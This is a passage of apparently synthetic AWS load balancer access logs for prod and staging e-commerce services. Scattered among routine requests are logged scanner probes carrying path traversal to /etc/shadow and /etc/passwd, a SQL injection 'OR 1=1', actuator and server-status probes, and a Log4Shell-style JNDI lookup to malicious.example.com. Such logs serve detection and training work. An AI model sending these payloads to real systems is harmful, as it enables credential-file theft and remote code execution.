/api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca2a-6fa451db925c45238a0bf8ce" "staging-alb.example.com" "-" 10 2024-11-01T01:19:22.707981Z "forward" "-" "-" "172.34.208.248:443" "200" "-" "-" +https 2024-11-01T01:19:23.850296Z prod-api-alb 44.225.114.78:11192 10.0.216.181:443 0.034443 0.489648 0.054330 200 200 670 8763 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca2b-8f3ea543cb86409b98c17140" "prod-api-alb.example.com" "-" 1 2024-11-01T01:19:23.850296Z "forward" "-" "-" "10.0.216.181:443" "200" "-" "-" +https 2024-11-01T01:19:25.547305Z prod-web-alb 213.150.101.41:28594 10.0.254.34:443 0.097477 0.462784 0.046873 200 200 305 10843 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca2d-f06cada3693c4e859bfdb9c0" "prod-web-alb.example.com" "-" 2 2024-11-01T01:19:25.547305Z "forward" "-" "-" "10.0.254.34:443" "200" "-" "-" +https 2024-11-01T01:19:26.688511Z prod-api-alb 253.55.77.56:19181 10.0.244.162:443 0.027718 0.460873 0.006393 200 200 269 7690 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca2e-f102361e00594be5953e9252" "prod-api-alb.example.com" "-" 5 2024-11-01T01:19:26.688511Z "forward" "-" "-" "10.0.244.162:443" "200" "-" "-" +http 2024-11-01T01:19:27.189688Z staging-alb 185.181.68.44:11626 19.220.3.161:8080 0.120593 0.598934 0.034647 403 403 73 11506 "GET /images/../../../../etc/shadow HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca2f-4d81822a20804267b2cdb1d9" "-" "-" 1 2024-11-01T01:19:27.189688Z "forward" "-" "-" "19.220.3.161:8080" "403" "-" "-" +https 2024-11-01T01:19:27.299233Z staging-alb 162.213.185.59:14456 218.7.27.162:80 0.016286 0.656480 0.006243 404 404 506 12764 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca2f-917e97f87a7e4f1eb51428b5" "staging-alb.example.com" "-" 6 2024-11-01T01:19:27.299233Z "forward" "-" "-" "218.7.27.162:80" "404" "-" "-" +https 2024-11-01T01:19:27.962482Z prod-api-alb 86.167.21.216:61976 10.0.89.24:443 0.041908 0.032149 0.088312 301 301 721 13979 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca2f-7bbee0992dbe4b1f8ab75542" "prod-api-alb.example.com" "-" 5 2024-11-01T01:19:27.962482Z "forward" "-" "-" "10.0.89.24:443" "301" "-" "-" +https 2024-11-01T01:19:29.791082Z prod-api-alb 62.128.115.112:23467 10.0.75.2:443 0.080698 0.425167 0.009676 301 301 503 12245 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca31-712f12a1e6744c87af99089b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:19:29.791082Z "forward" "-" "-" "10.0.75.2:443" "301" "-" "-" +http 2024-11-01T01:19:30.827136Z staging-alb 93.219.127.198:33211 77.114.47.32:80 0.107118 0.014892 0.019117 301 301 605 14379 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca32-d94f85775e5d451cbe0bab97" "staging-alb.example.com" "-" 1 2024-11-01T01:19:30.827136Z "forward" "-" "-" "77.114.47.32:80" "301" "-" "-" +http 2024-11-01T01:19:31.552960Z staging-alb 172.31.112.53:14155 24.47.92.243:80 0.026816 0.111745 0.005708 200 200 383 8334 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca33-2c9076050bf9480687b10b4e" "staging-alb.example.com" "-" 6 2024-11-01T01:19:31.552960Z "forward" "-" "-" "24.47.92.243:80" "200" "-" "-" +https 2024-11-01T01:19:31.963186Z prod-web-alb 193.27.228.118:62529 10.0.65.51:443 0.083764 0.172961 0.059766 403 403 832 5221 "POST /server-status HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca33-e04860892c7e484ab8434951" "-" "-" 10 2024-11-01T01:19:31.963186Z "forward" "-" "-" "10.0.65.51:443" "403" "-" "-" +https 2024-11-01T01:19:33.746833Z prod-web-alb 56.120.37.252:26765 10.0.23.129:443 0.048164 0.481972 0.077170 301 301 347 1557 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca35-387e81cb72e144519a1b0f38" "prod-web-alb.example.com" "-" 8 2024-11-01T01:19:33.746833Z "forward" "-" "-" "10.0.23.129:443" "301" "-" "-" +https 2024-11-01T01:19:34.105334Z prod-api-alb 232.120.187.179:19111 10.0.230.163:443 0.033172 0.278746 0.060235 200 200 437 4358 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca36-0207595f3f0d45b88246e2a3" "prod-api-alb.example.com" "-" 8 2024-11-01T01:19:34.105334Z "forward" "-" "-" "10.0.230.163:443" "200" "-" "-" +http 2024-11-01T01:19:35.803800Z staging-alb 95.216.224.173:33627 217.139.226.44:80 0.080583 0.587604 0.010384 200 200 203 374 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca37-66c8494353544448b1954bfb" "staging-alb.example.com" "-" 2 2024-11-01T01:19:35.803800Z "forward" "-" "-" "217.139.226.44:80" "200" "-" "-" +http 2024-11-01T01:19:36.306927Z staging-alb 237.9.188.159:19855 219.123.157.134:80 0.102864 0.584454 0.020583 200 200 962 2986 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca38-8f27e33aa61a4e448599c268" "staging-alb.example.com" "-" 1 2024-11-01T01:19:36.306927Z "forward" "-" "-" "219.123.157.134:80" "200" "-" "-" +https 2024-11-01T01:19:36.548365Z prod-api-alb 106.42.78.159:11240 10.0.192.175:443 0.033732 0.238891 0.029801 404 404 605 4477 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca38-8a6d49f93d714dc490444010" "prod-api-alb.example.com" "-" 1 2024-11-01T01:19:36.548365Z "forward" "-" "-" "10.0.192.175:443" "404" "-" "-" +https 2024-11-01T01:19:37.935214Z staging-alb 77.210.166.164:44213 41.12.111.123:443 0.064370 0.473790 0.014644 200 200 509 10533 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca39-d82abbf9ea7743e293ab51a8" "staging-alb.example.com" "-" 5 2024-11-01T01:19:37.935214Z "forward" "-" "-" "41.12.111.123:443" "200" "-" "-" +https 2024-11-01T01:19:39.694844Z staging-alb 123.231.77.26:47843 86.218.52.115:80 0.084148 0.496683 0.075865 200 200 729 11654 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca3b-bd0d0b6445a7466c95e8d0cf" "staging-alb.example.com" "-" 5 2024-11-01T01:19:39.694844Z "forward" "-" "-" "86.218.52.115:80" "200" "-" "-" +https 2024-11-01T01:19:41.195846Z prod-web-alb 121.202.9.171:27125 10.0.124.35:443 0.000360 0.169081 0.097269 200 200 751 9682 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca3d-82aeafb7e677413885bc7e5d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:19:41.195846Z "forward" "-" "-" "10.0.124.35:443" "200" "-" "-" +https 2024-11-01T01:19:41.300554Z prod-web-alb 40.150.204.49:14677 10.0.136.81:443 0.027835 0.065917 0.045728 302 302 499 5364 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca3d-eb0fad472320431482f913c7" "prod-web-alb.example.com" "-" 5 2024-11-01T01:19:41.300554Z "forward" "-" "-" "10.0.136.81:443" "302" "-" "-" +https 2024-11-01T01:19:42.407182Z prod-web-alb 185.181.135.255:13986 10.0.68.159:443 0.011681 0.323286 0.061279 500 500 779 971 "POST /users?id=1 OR 1=1 HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca3e-e69e6e0de8824cbb875a099f" "-" "-" 2 2024-11-01T01:19:42.407182Z "forward" "-" "-" "10.0.68.159:443" "500" "-" "-" +https 2024-11-01T01:19:43.526785Z prod-web-alb 84.12.207.24:29339 10.0.91.167:443 0.095212 0.467581 0.087397 301 301 592 12199 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca3f-daef9fabca844a7fa77cade0" "prod-web-alb.example.com" "-" 3 2024-11-01T01:19:43.526785Z "forward" "-" "-" "10.0.91.167:443" "301" "-" "-" +https 2024-11-01T01:19:43.670600Z prod-api-alb 178.149.70.230:28300 10.0.42.80:443 0.000113 0.052203 0.019080 302 302 536 2270 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca3f-510048e98ea04c349856e30b" "prod-api-alb.example.com" "-" 10 2024-11-01T01:19:43.670600Z "forward" "-" "-" "10.0.42.80:443" "302" "-" "-" +https 2024-11-01T01:19:43.951714Z prod-web-alb 205.75.74.1:59501 10.0.239.228:443 0.032806 0.036542 0.024083 200 200 83 8282 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca3f-033e8761f77b4916acbb8675" "-" "-" 8 2024-11-01T01:19:43.951714Z "forward" "-" "-" "10.0.239.228:443" "200" "-" "-" +https 2024-11-01T01:19:45.788010Z staging-alb 99.203.72.171:20890 157.212.165.146:80 0.125197 0.680759 0.146966 404 404 98 1673 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca41-72848a7283bf4351824418b0" "staging-alb.example.com" "-" 6 2024-11-01T01:19:45.788010Z "forward" "-" "-" "157.212.165.146:80" "404" "-" "-" +http 2024-11-01T01:19:46.100737Z staging-alb 200.227.10.68:21339 167.61.90.71:8080 0.046600 0.613748 0.059949 404 404 532 1920 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca42-b245c5a8467c476f8f51493c" "staging-alb.example.com" "-" 7 2024-11-01T01:19:46.100737Z "forward" "-" "-" "167.61.90.71:8080" "404" "-" "-" +https 2024-11-01T01:19:47.421901Z prod-web-alb 218.33.26.134:62062 10.0.67.158:443 0.080724 0.173780 0.005465 404 404 233 8885 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca43-35033fae00694105b384da1a" "prod-web-alb.example.com" "-" 9 2024-11-01T01:19:47.421901Z "forward" "-" "-" "10.0.67.158:443" "404" "-" "-" +https 2024-11-01T01:19:48.302307Z prod-api-alb 253.66.186.107:37094 10.0.28.23:443 0.044574 0.136311 0.090776 301 301 758 2668 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca44-502b803256b342f980682b59" "prod-api-alb.example.com" "-" 2 2024-11-01T01:19:48.302307Z "forward" "-" "-" "10.0.28.23:443" "301" "-" "-" +https 2024-11-01T01:19:49.755564Z staging-alb 45.155.205.147:23411 43.58.45.125:80 0.139288 0.452071 0.101184 404 404 249 4029 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca45-a4250632792243de90c17425" "-" "-" 8 2024-11-01T01:19:49.755564Z "forward" "-" "-" "43.58.45.125:80" "404" "-" "-" +https 2024-11-01T01:19:51.237560Z prod-web-alb 193.220.227.113:47180 10.0.9.42:443 0.004976 0.342989 0.024688 302 302 768 7536 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca47-0cd4d6fb5f064749bcee6a9d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:19:51.237560Z "forward" "-" "-" "10.0.9.42:443" "302" "-" "-" +https 2024-11-01T01:19:51.540071Z prod-web-alb 193.27.228.155:31210 10.0.87.27:443 0.046961 0.090058 0.057896 500 500 129 5751 "GET /actuator/env HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca47-7aa30ed93dff4163b88510b2" "-" "-" 2 2024-11-01T01:19:51.540071Z "forward" "-" "-" "10.0.87.27:443" "500" "-" "-" +https 2024-11-01T01:19:51.815636Z prod-api-alb 77.21.40.94:30492 10.0.4.132:443 0.071170 0.086750 0.027920 200 200 724 12768 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca47-a324b6ba1fb34a5684e67b67" "prod-api-alb.example.com" "-" 3 2024-11-01T01:19:51.815636Z "forward" "-" "-" "10.0.4.132:443" "200" "-" "-" +https 2024-11-01T01:19:52.429574Z prod-web-alb 121.0.11.25:30876 10.0.219.186:443 0.057401 0.401484 0.055743 302 302 77 8235 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca48-11cd46fc8dad49c4b73dfa9d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:19:52.429574Z "forward" "-" "-" "10.0.219.186:443" "302" "-" "-" +https 2024-11-01T01:19:54.228626Z prod-api-alb 216.36.12.231:30524 10.0.27.122:443 0.086225 0.083954 0.011681 200 200 3 6896 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca4a-fc422c3a2b3f418ea61afeec" "prod-api-alb.example.com" "-" 9 2024-11-01T01:19:54.228626Z "forward" "-" "-" "10.0.27.122:443" "200" "-" "-" +https 2024-11-01T01:19:56.058379Z prod-web-alb 45.155.205.67:47006 10.0.14.54:443 0.001919 0.358800 0.017561 404 404 726 303 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca4c-24ef7d9501de456086781e97" "-" "-" 1 2024-11-01T01:19:56.058379Z "forward" "-" "-" "10.0.14.54:443" "404" "-" "-" +https 2024-11-01T01:19:56.218116Z prod-api-alb 119.213.41.42:38896 10.0.221.202:443 0.091427 0.382260 0.058773 301 301 409 5450 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca4c-fc4a44690b4446d48377124e" "prod-api-alb.example.com" "-" 9 2024-11-01T01:19:56.218116Z "forward" "-" "-" "10.0.221.202:443" "301" "-" "-" +https 2024-11-01T01:19:57.410297Z prod-api-alb 51.153.97.178:23881 10.0.113.134:443 0.089651 0.057657 0.049829 301 301 807 673 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca4d-b6fcb022bf3a431e9f3a52a2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:19:57.410297Z "forward" "-" "-" "10.0.113.134:443" "301" "-" "-" +https 2024-11-01T01:19:58.718634Z prod-api-alb 172.207.160.16:45346 10.0.87.205:443 0.021024 0.084079 0.095042 404 404 16 8583 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca4e-15eb7f34a39d465ab7a947e9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:19:58.718634Z "forward" "-" "-" "10.0.87.205:443" "404" "-" "-" +https 2024-11-01T01:19:59.638157Z prod-web-alb 123.242.131.150:11218 10.0.149.159:443 0.050618 0.038511 0.089390 404 404 657 9298 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca4f-e74c44e6765648dd9d44af1e" "prod-web-alb.example.com" "-" 5 2024-11-01T01:19:59.638157Z "forward" "-" "-" "10.0.149.159:443" "404" "-" "-" +http 2024-11-01T01:20:00.563587Z staging-alb 36.103.250.101:25769 77.206.235.122:443 0.003357 0.427268 0.105353 200 200 515 1328 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca50-af2cc8f3959a4fad828035a6" "staging-alb.example.com" "-" 2 2024-11-01T01:20:00.563587Z "forward" "-" "-" "77.206.235.122:443" "200" "-" "-" +https 2024-11-01T01:20:02.367430Z prod-web-alb 118.90.176.111:20724 10.0.164.69:443 0.094290 0.076961 0.059318 200 200 439 1983 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca52-78dd0ec526ca4375ad7b0583" "prod-web-alb.example.com" "-" 3 2024-11-01T01:20:02.367430Z "forward" "-" "-" "10.0.164.69:443" "200" "-" "-" +https 2024-11-01T01:20:04.004980Z staging-alb 139.45.197.148:11253 0.168.157.178:8080 0.082378 0.532304 0.111159 301 301 584 13581 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca54-ddc4fb3323ed41bca7ae4b75" "staging-alb.example.com" "-" 10 2024-11-01T01:20:04.004980Z "forward" "-" "-" "0.168.157.178:8080" "301" "-" "-" +http 2024-11-01T01:20:04.148131Z staging-alb 186.47.201.116:62469 232.77.150.43:443 0.048066 0.344362 0.088905 200 200 145 2165 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca54-a1d22f3df69a484b9cabec89" "staging-alb.example.com" "-" 4 2024-11-01T01:20:04.148131Z "forward" "-" "-" "232.77.150.43:443" "200" "-" "-" +https 2024-11-01T01:20:04.473859Z prod-api-alb 84.108.223.242:29006 10.0.206.134:443 0.060971 0.432398 0.082489 200 200 292 8225 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca54-c122a3ee2f764532a79cb758" "prod-api-alb.example.com" "-" 1 2024-11-01T01:20:04.473859Z "forward" "-" "-" "10.0.206.134:443" "200" "-" "-" +https 2024-11-01T01:20:06.321257Z prod-web-alb 69.120.62.41:38009 10.0.73.39:443 0.003448 0.377300 0.008503 200 200 915 13507 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca56-48816a91c3234d0db2855b48" "prod-web-alb.example.com" "-" 0 2024-11-01T01:20:06.321257Z "forward" "-" "-" "10.0.73.39:443" "200" "-" "-" +https 2024-11-01T01:20:07.170115Z prod-web-alb 31.60.37.131:31828 10.0.224.124:443 0.097486 0.286537 0.048252 200 200 819 3445 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca57-7fa6f97f02784211bbd14449" "prod-web-alb.example.com" "-" 1 2024-11-01T01:20:07.170115Z "forward" "-" "-" "10.0.224.124:443" "200" "-" "-" +http 2024-11-01T01:20:08.966097Z staging-alb 238.251.93.128:28019 68.73.116.106:443 0.029746 0.091181 0.130229 302 302 991 12282 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca58-272db3d1f0bc4acb97ca678a" "staging-alb.example.com" "-" 8 2024-11-01T01:20:08.966097Z "forward" "-" "-" "68.73.116.106:443" "302" "-" "-" +https 2024-11-01T01:20:10.433096Z prod-api-alb 185.181.187.52:31349 10.0.136.120:443 0.066216 0.473539 0.011386 404 404 980 7053 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca5a-2b95902746154c55941b9565" "-" "-" 2 2024-11-01T01:20:10.433096Z "forward" "-" "-" "10.0.136.120:443" "404" "-" "-" +http 2024-11-01T01:20:11.250114Z staging-alb 185.103.136.76:43916 247.138.145.95:8080 0.148398 0.003120 0.149849 200 200 320 11172 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a 